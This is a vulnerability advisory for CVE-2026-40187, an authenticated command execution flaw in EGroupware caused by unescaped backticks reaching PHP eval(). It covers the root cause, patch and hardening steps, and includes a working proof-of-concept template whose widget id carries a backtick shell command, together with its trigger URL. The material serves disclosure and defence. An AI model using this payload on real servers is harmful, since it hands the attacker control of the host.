highCVE-2026-40187Jul 7, 2026

CVE-2026-40187: EGroupware Authenticated RCE via eTemplate eval Injection

Rohit Hatagale
AI Security Researcher, SecureLayer7

An authenticated EGroupware administrator can upload a malicious XML template file that causes the server to execute arbitrary OS commands, taking full control of the underlying system.

Packageegroupware/egroupware
Ecosystemcomposer
Affected>= 26.0.20251208, < 26.0.20260113
Fixed in26.4.20260413

The problem

The `Widget::expand_name()` method in `api/src/Etemplate/Widget.php` passes widget attribute values into a PHP `eval()` call to expand grid variables like `$row` and `$col`. Before being passed to `eval()`, the input is sanitised with only a double-quote escape (`str_replace('"', '\\"', $name)`).

Backtick characters are left untouched.

In PHP, backticks inside a double-quoted `eval()` string are shell execution operators, identical to `shell_exec()`. Any admin-level user can upload a `.xet` eTemplate XML file to the VFS `/etemplates` mount (writable by the Admins group) and embed a backtick-wrapped OS command in a widget `id` attribute.

When EGroupware loads the template, the command runs as the web server user.

Proof of concept

A working proof-of-concept for CVE-2026-40187 in egroupware/egroupware, with the exact payload below.

text
<!-- Save as index.xet, upload to /etemplates/admin/templates/default/index.xet -->
<?xml version="1.0" encoding="UTF-8"?>
<overlay>
  <template id="admin.index">
    <grid>
      <columns><column/></columns>
      <rows>
        <row>
          <textbox id="$row`id > /tmp/pwned_egw 2>/dev/null`"/>
        </row>
      </rows>
    </grid>
  </template>
</overlay>

<!-- Trigger: visit https://<target>/egroupware/index.php?menuaction=admin.admin_ui.index -->
<!-- eval executes: $name = "$row`id > /tmp/pwned_egw 2>/dev/null`"; -->

The root cause is CWE-95 (Eval Injection) compounded by CWE-78 (OS Command Injection). `expand_name()` fires `eval()` whenever `$name` contains a `$` character, treating the value as a PHP double-quoted string. The only guard was `str_replace('"', '\\"', $name)`, which stops double-quote escaping but ignores backticks entirely.

In PHP, a double-quoted string evaluated at runtime interprets backticks as shell execution operators. So `"$row\`id\`"` inside `eval()` runs `id` via the shell and substitutes its output. The patch for 26.4.20260413 adds backtick escaping (and removes the `eval()` approach in favour of safe variable substitution), closing both the eval injection and the resulting OS command execution path.

The official Docker deployment sets `disable_functions = exec,passthru,shell_exec,system,proc_open,popen` in `php.ini`, which also blocks PHP backtick execution. Bare-metal, VM, and custom container deployments without this hardening are fully exposed.

The fix

Upgrade to EGroupware 26.4.20260413 or later. The patch rewrites `Widget::expand_name()` to escape backticks before any `eval()` call (or replaces the `eval()` entirely with safe substitution). As a defence-in-depth measure on any deployment, add `disable_functions = exec,passthru,shell_exec,system,proc_open,popen,shell_exec` to `php.ini` and restart PHP-FPM.

Restrict VFS `/etemplates` write access and audit admin accounts.

Reporter not attributed.

References: [1][2]

Related research